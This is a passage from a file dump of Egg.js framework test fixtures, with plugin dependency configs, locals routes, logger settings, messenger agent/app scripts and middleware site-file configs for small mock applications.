    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/b/config/antx.dev.properties",
    "content": "key.name = pluginDev\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/b/config/antx.prod.properties",
    "content": "key.name = pluginProd\na = 1\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/b/config/antx.test.properties",
    "content": "key.name = pluginTest\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/b/config/antx.unittest.properties",
    "content": "key.name = pluginUnittest\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/c/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.dateC = Date.now();\n  app.c = 'plugin c';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/c/config/config.js",
    "content": "exports.name = 'override default';\n\nexports.plugin = 'overridden by app';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/c/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"c\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/d/.gitkeep",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/d/config/config.js",
    "content": "// exports.proxy = {\n//\n// };\n//\n// exports.middleware = ['d'];\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/d/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"d1\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/rds/.gitkeep",
    "content": ""
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/node_modules/rds/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"rds\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/package.json",
    "content": "{\n  \"name\": \"loader-plugin\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/plugins/e/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"wrong-name\",\n    \"dep\": [\n      \"f\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/plugins/f/package.json",
    "content": "{\n  \"name\": \"f\",\n  \"eggPlugin\": {\n    \"name\": \"f\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin/plugins/g/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"g\",\n    \"dep\": [\n      \"f\"\n    ]\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep/config/plugin.js",
    "content": "const path = require('path');\n\nmodule.exports = {\n  a: {\n    enable: true,\n    dependencies: ['b', 'f'],\n    path: path.join(__dirname, '../plugins/a'),\n  },\n\n  b: {\n    enable: true,\n    path: path.join(__dirname, '../plugins/b'),\n  },\n\n  c1: {\n    enable: true,\n    dependencies: ['b'],\n    path: path.join(__dirname, '../plugins/c'),\n  },\n\n  d: {\n    enable: true,\n    dependencies: ['a'],\n    path: path.join(__dirname, '../plugins/d'),\n  },\n\n  e: {\n    enable: true,\n    dependencies: ['f'],\n    path: path.join(__dirname, '../plugins/e'),\n  },\n\n  f: {\n    enable: true,\n    dependencies: ['c1'],\n    path: path.join(__dirname, '../plugins/f'),\n  },\n\n  development: false,\n\n  // enable tegg plugins\n  tegg: true,\n  teggConfig: true,\n  teggController: true,\n  teggDal: true,\n  teggSchedule: true,\n  teggOrm: true,\n  teggAjv: true,\n  teggAop: true,\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep/package.json",
    "content": "{\n  \"name\": \"plugin-dep\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep/plugins/a/package.json",
    "content": "{\n  \"name\": \"a\",\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep/plugins/b/package.json",
    "content": "{\n  \"name\": \"b\",\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep/plugins/c/package.json",
    "content": "{\n  \"name\": \"c1\",\n  \"eggPlugin\": {\n    \"name\": \"c1\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep/plugins/d/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"d\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep/plugins/e/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"e\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep/plugins/f/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"f\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep-missing/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep-missing/config/plugin.js",
    "content": "const path = require('path');\n\nmodule.exports = {\n  a: {\n    enable: true,\n    dependencies: ['b'],\n    path: path.join(__dirname, '../plugins/a'),\n  },\n\n  b: {\n    enable: true,\n    dependencies: ['c'],\n    path: path.join(__dirname, '../plugins/b'),\n  },\n\n  c: {\n    enable: true,\n    dependencies: ['a1'],\n    path: path.join(__dirname, '../plugins/c'),\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep-missing/package.json",
    "content": "{\n  \"name\": \"plugin-dep-missing\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep-missing/plugins/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep-missing/plugins/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep-missing/plugins/c/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"c\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep-recursive/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep-recursive/config/plugin.js",
    "content": "const path = require('path');\n\nmodule.exports = {\n  a: {\n    enable: true,\n    dependencies: ['b'],\n    path: path.join(__dirname, '../plugins/a'),\n  },\n\n  b: {\n    enable: true,\n    dependencies: ['c'],\n    path: path.join(__dirname, '../plugins/b'),\n  },\n\n  c: {\n    enable: true,\n    dependencies: ['a'],\n    path: path.join(__dirname, '../plugins/c'),\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep-recursive/package.json",
    "content": "{\n  \"name\": \"plugin-dep-recursive\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep-recursive/plugins/a/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"a\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep-recursive/plugins/b/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"b\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-dep-recursive/plugins/c/package.json",
    "content": "{\n  \"eggPlugin\": {\n    \"name\": \"c\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-noexist/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-noexist/config/plugin.js",
    "content": "'use strict';\n\nmodule.exports = {\n  noexist: true,\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/loader-plugin-noexist/package.json",
    "content": "{\n  \"name\": \"loader-plugin-noexist\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/locals/app/helper.js",
    "content": "'use strict';\n\nexports.test = () => {\n  return 'test-helper';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/locals/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/app_same_ref', async function () {\n    let app1, app2;\n    this.app.locals = {\n      a: 1,\n    };\n    app1 = this.app.locals;\n    this.app.locals = {\n      b: 1,\n    };\n    app2 = this.app.locals;\n    this.body = app1 === app2;\n  });\n\n  app.get('/app_locals_oom', async function () {\n    for (let i = 0; i < 1000; i++) {\n      app.locals = {\n        // 10MB\n        buff: Buffer.alloc(10 * 1024 * 1024).toString(),\n      };\n    }\n    this.body = 'ok';\n  });\n\n  app.get('/ctx_same_ref', async function () {\n    let ctx1, ctx2;\n    this.locals = {\n      a: 1,\n    };\n    ctx1 = this.locals;\n    this.locals = {\n      b: 1,\n    };\n    ctx2 = this.locals;\n    this.body = ctx1 === ctx2;\n  });\n\n  app.get('/ctx_merge_app', async function () {\n    this.app.locals = {\n      a: 1,\n    };\n    this.locals = {\n      b: 1,\n    };\n    this.body = {\n      a: this.locals.a,\n      b: this.locals.b,\n    };\n  });\n\n  app.get('/ctx_override_app', async function () {\n    this.app.locals = {\n      a: 'app.a',\n      b: 'app.b',\n    };\n\n    // this.locals set 的优先级高与 app.locals\n    this.locals = {\n      a: 'ctx.a',\n    };\n\n    // this.locals 的赋值，会覆盖 app.locals\n    this.locals.b = 'ctx.b';\n\n    const a = this.locals.a;\n    const b = this.locals.b;\n\n    this.body = {\n      a,\n      b,\n    };\n  });\n\n  app.get('/ctx_app_update_can_not_affect_ctx', async function () {\n    this.app.locals = {\n      a: 'app.a',\n      b: 'app.b',\n    };\n    // 访问一次\n    let locals = this.locals;\n\n    // 修改 app.locals 的成员取值\n    this.app.locals.a = 'app.a.new';\n    // 给 app 新增成员\n    this.app.locals = {\n      newProperty: 'new',\n    };\n    // 删除 app.locals 成员\n    delete this.app.locals.b;\n\n    this.body = {\n      a: this.locals.a,\n      b: this.locals.b,\n      newPropertyExists: this.locals.hasOwnProperty('newProperty'),\n    };\n  });\n\n  app.get('/set_only_support_object', async function () {\n    let succeed = {};\n\n    // 以 object 设置 app.locals\n    this.app.locals = {\n      a: 'app.a',\n    };\n    succeed['app.locals.object'] = this.app.locals.a === 'app.a';\n\n    // 以 object 设置 ctx.locals\n    this.locals = {\n      b: 'ctx.b',\n    };\n    succeed['ctx.locals.object'] = this.locals.b === 'ctx.b';\n\n    // 以常见非 object 类型设置 locals\n    let targets = {\n      string: 'locals',\n      number: 1,\n      function: function () {\n        return {\n          l: 1,\n        };\n      },\n      array: ['a', 'b', 'c'],\n    };\n\n    // 设置\n    for (let type in targets) {\n      this.app.locals = targets[type];\n      succeed['app.locals.' + type] = this.app.locals === targets[type];\n\n      this.locals = targets[type];\n      succeed['ctx.locals.' + type] = this.locals === targets[type];\n    }\n\n    this.body = succeed;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/locals/app.js",
    "content": "module.exports = (app) => {\n  app.locals = {\n    'app.global': {\n      id: '12306',\n      version: '1.0',\n    },\n    a: 1,\n    b: 1,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/locals/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/locals/package.json",
    "content": "{\n  \"name\": \"locals\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger/agent.js",
    "content": "'use strict';\n\nmodule.exports = (agent) => {\n  agent.logger.info('agent info');\n  agent.logger.error(new Error('agent error'));\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.logger.info('app info');\n  app.logger.error(new Error('app error'));\n\n  app.ready(() => {\n    app.logger.info('app info after ready');\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = (info) => {\n  return {\n    logger: {\n      buffer: false,\n    },\n    customLogger: {\n      customLogger: {\n        file: path.join(info.baseDir, 'logs/custom.log'),\n      },\n    },\n    keys: 'test key',\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger/config/config.local.js",
    "content": "'use strict';\n\nmodule.exports = {\n  logger: {\n    consoleLevel: 'INFO',\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger/package.json",
    "content": "{\n  \"name\": \"logger\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger-level-debug/app/router.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  app.get('/', async function () {\n    this.logger.debug('hi %s %s', this.method, this.url);\n    // wait for writing to file\n    await scheduler.wait(1000);\n    this.body = 'ok';\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger-level-debug/config/config.default.js",
    "content": "'use strict';\n\nexports.logger = {\n  level: 'DEBUG',\n};\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger-level-debug/package.json",
    "content": "{\n  \"name\": \"foo\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger-output-json/config/config.default.js",
    "content": "exports.logger = {\n  outputJSON: true,\n};\n\nexports.keys = 'f';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger-output-json/config/map.json",
    "content": "{}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger-output-json/package.json",
    "content": "{\n  \"name\": \"logger-output-json\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger-reload/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.logger.warn('%s %s', this.method, this.path);\n  this.logger.error(new Error('error'));\n  this.body = {\n    method: this.method,\n    path: this.path,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger-reload/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger-reload/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logger-reload/package.json",
    "content": "{\n  \"name\": \"logger-reload\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logrotator-app/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', async function () {\n    this.body = 123;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logrotator-app/config/config.default.js",
    "content": "'use strict';\n\nexports.logrotator = {\n  maxFileSize: 1024,\n  maxFiles: 2,\n  rotateDuration: 30000,\n};\n\nexports.keys = 'test key';\n\nexports.customLogger = {\n  scheduleLogger: {\n    consoleLevel: 'DEBUG',\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/logrotator-app/package.json",
    "content": "{\n  \"name\": \"logrotator-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/master-worker-started/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/master-worker-started/dispatch.js",
    "content": "'use strict';\n\nconst egg = require('../../../..');\nconst utils = require('../../../utils');\nconst baseDir = __dirname;\n\negg.startCluster({ baseDir });\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/master-worker-started/package.json",
    "content": "{\n  \"name\": \"master-worker-started\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/master-worker-started-worker_threads/config/config.default.js",
    "content": "exports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/master-worker-started-worker_threads/dispatch.js",
    "content": "const egg = require('../../../..');\nconst baseDir = __dirname;\n\negg.startCluster({\n  startMode: 'worker_threads',\n  workers: 1,\n  baseDir,\n});\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/master-worker-started-worker_threads/package.json",
    "content": "{\n  \"name\": \"master-worker-started-worker_threads\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.messenger.on('egg-ready', () => {\n    agent.messenger.on('app-to-agent', function (msg) {\n      console.log('[agent] app-to-agent', msg);\n    });\n    agent.messenger.on('agent-to-app', function (msg) {\n      console.log('[agent] agent-to-app', msg);\n    });\n\n    agent.messenger.on('pid', (pid) => {\n      agent.messenger.sendTo(pid, 'agent-to-app', 'agent msg ' + pid);\n    });\n    agent.messenger.on('ready', () => {\n      agent.messenger.send('agent-to-app', 'agent msg');\n    });\n  });\n\n  // it'll warn\n  agent.messenger.sendTo(12345, 'warn-message');\n  agent.messenger.sendToApp('warn-message');\n  agent.messenger.sendToAgent('warn-message');\n  agent.messenger.sendRandom('warn-message');\n  agent.messenger.broadcast('warn-message');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.messenger.on('egg-ready', () => {\n    app.messenger.on('app-to-agent', function (msg) {\n      console.log('[app] app-to-agent', msg);\n    });\n    app.messenger.on('agent-to-app', function (msg) {\n      console.log('[app] agent-to-app', msg);\n    });\n    app.messenger.send('app-to-agent', 'app msg');\n    app.messenger.send('pid', process.pid);\n    app.messenger.send('ready');\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger/package.json",
    "content": "{\n  \"name\": \"messenger\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger-app-agent/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.messenger.on('agent2agent', (data) => console.log(data));\n  agent.messenger.on('app2agent', (data) => console.log(data));\n\n  agent.messenger.once('egg-ready', () => {\n    // wait egg ready\n    agent.messenger.sendToApp('agent2app', 'agent2app');\n    agent.messenger.sendToAgent('agent2agent', 'agent2agent');\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger-app-agent/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.messenger.on('agent2app', (data) => console.log(data));\n  app.messenger.on('app2app', (data) => console.log(data));\n\n  app.messenger.once('egg-ready', () => {\n    app.messenger.sendToApp('app2app', 'app2app');\n    app.messenger.sendToAgent('app2agent', 'app2agent');\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger-app-agent/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger-app-agent/package.json",
    "content": "{\n  \"name\": \"messenger-app-agent\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger-broadcast/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.messenger.on('egg-ready', () => {\n    agent.messenger.broadcast('broadcast', {\n      from: 'agent',\n      pid: process.pid,\n    });\n  });\n\n  agent.messenger.on('broadcast', (info) => {\n    console.log('agent %s receive message from %s pid %s', process.pid, info.from, info.pid);\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger-broadcast/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  app.messenger.on('egg-ready', () => {\n    app.messenger.broadcast('broadcast', {\n      from: 'app',\n      pid: process.pid,\n    });\n  });\n\n  app.messenger.on('broadcast', (info) => {\n    console.log('app %s receive message from %s pid %s', process.pid, info.from, info.pid);\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger-broadcast/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger-broadcast/package.json",
    "content": "{\n  \"name\": \"messenger-broadcast\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger-random/agent.js",
    "content": "'use strict';\n\nmodule.exports = function (agent) {\n  agent.messenger.on('egg-ready', () => {\n    for (const i of Array(20)) {\n      agent.messenger.sendRandom('agent2app');\n    }\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger-random/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  let count = 1;\n  app.messenger.on('agent2app', () => console.log('%s=%s', process.pid, count++));\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger-random/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/messenger-random/package.json",
    "content": "{\n  \"name\": \"messenger-random\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/meta-logging-app/app/controller/home.js",
    "content": "'use strict';\n\nmodule.exports = async (ctx) => {\n  ctx.body = 'hello world';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/meta-logging-app/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('home', '/', 'home');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/meta-logging-app/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.ready(() => {\n    app.config.tips = 'hello egg started';\n    // dynamic router\n    app.all('/all', app.controller.home);\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/meta-logging-app/config/config.default.js",
    "content": "exports.keys = 'foo';\n\nexports.meta = {\n  logging: true,\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/meta-logging-app/package.json",
    "content": "{\n  \"name\": \"meta-logging-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares/app/controller/error.js",
    "content": "module.exports = async function () {\n  foo.bar;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = 'home';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares/app/crossdomain.xml",
    "content": "xxx"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares/app/robots.txt",
    "content": "User-agent: Baiduspider\nDisallow: /\n\nUser-agent: baiduspider\nDisallow: /"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home);\n  app.get('/error', app.controller.error);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares/config/config.default.js",
    "content": "const fs = require('fs');\nconst path = require('path');\n\nexports.security = {\n  csrf: false,\n};\n\nexports.siteFile = {\n  '/robots.txt': fs.readFileSync(path.join(__dirname, '../app/robots.txt')),\n  '/crossdomain.xml': fs.readFileSync(path.join(__dirname, '../app/crossdomain.xml')),\n  '/fake.txt': 123, // wrong config\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares/config/plugin.js",
    "content": "exports.schedule = {\n  enable: false,\n};\n\nexports.logrotator = false;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares/package.json",
    "content": "{\n  \"name\": \"middlewares\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares/server.conf",
    "content": "zone = RZ01B\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-meta-enablePerformanceTimer/app/controller/home.js",
    "content": "'use strict';\n\nmodule.exports = async (ctx) => {\n  ctx.body = 'home';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-meta-enablePerformanceTimer/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-meta-enablePerformanceTimer/config/config.default.js",
    "content": "exports.security = {\n  csrf: false,\n};\n\nexports.keys = 'foo';\n\nexports.logger = {\n  enablePerformanceTimer: true,\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-meta-enablePerformanceTimer/package.json",
    "content": "{\n  \"name\": \"middlewares-meta-enableperformancetimer\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-site-file/app/controller/error.js",
    "content": "module.exports = async function () {\n  foo.bar;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-site-file/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = 'home';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-site-file/app/crossdomain.xml",
    "content": "xxx"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-site-file/app/robots.txt",
    "content": "User-agent: Baiduspider\nDisallow: /\n\nUser-agent: baiduspider\nDisallow: /"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-site-file/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', app.controller.home);\n  app.get('/error', app.controller.error);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-site-file/config/config.default.js",
    "content": "const fs = require('fs');\nconst path = require('path');\n\nexports.security = {\n  csrf: false,\n};\n\nexports.siteFile = {\n  '/robots.txt': fs.readFileSync(path.join(__dirname, '../app/robots.txt')),\n  '/crossdomain.xml': fs.readFileSync(path.join(__dirname, '../app/crossdomain.xml')),\n  '/fake.txt': 123, // wrong config\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-site-file/config/plugin.js",
    "content": "exports.schedule = {\n  enable: false,\n};\n\nexports.logrotator = false;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-site-file/package.json",
    "content": "{\n  \"name\": \"middlewares\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/middlewares-site-file/server.conf",
    "content": "zone = RZ01B\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-dev-app1/config/config.default.js",
    "content": "exports.keys = 'd';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-dev-app1/package.json",
    "content": "{\n  \"name\": \"mock-dev-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-dev-app2/config/config.default.js",
    "content": "exports.keys = 'd';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-dev-app2/package.json",
    "content": "{\n  \"name\": \"mock-dev-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-dev-app3/config/config.default.js",
    "content": "exports.keys = 'd';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-dev-app3/package.json",
    "content": "{\n  \"name\": \"mock-dev-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-dev-app4/config/config.default.js",
    "content": "exports.keys = 'd';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-dev-app4/package.json",
    "content": "{\n  \"name\": \"mock-dev-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-production-app/config/config.js",
    "content": "'use strict';\n\nexports.watcher = {\n  // watcher 在 prod 中默认没有设置 type，防止框架开发者忘记设置，这里设置一下，避免报错\n  type: 'development',\n};\n\nexports.logger = {\n  level: 'DEBUG',\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-production-app/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-production-app/config/map.json",
    "content": "{}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-production-app/package.json",
    "content": "{\n  \"name\": \"mock-production-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-production-app-do-not-force/config/config.js",
    "content": "'use strict';\n\nexports.watcher = {\n  // watcher 在 prod 中默认没有设置 type，防止框架开发者忘记设置，这里设置一下，避免报错\n  type: 'development',\n};\n\nexports.logger = {\n  level: 'DEBUG',\n  allowDebugAtProd: true,\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-production-app-do-not-force/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-production-app-do-not-force/config/map.json",
    "content": "{}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/mock-production-app-do-not-force/package.json",
    "content": "{\n  \"name\": \"mock-production-app-do-not-force\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multipart/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.set('x-csrf', this.csrf);\n  this.body = 'hi';\n  // yield this.render('home.html');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/multipart/app/controller/upload.js",
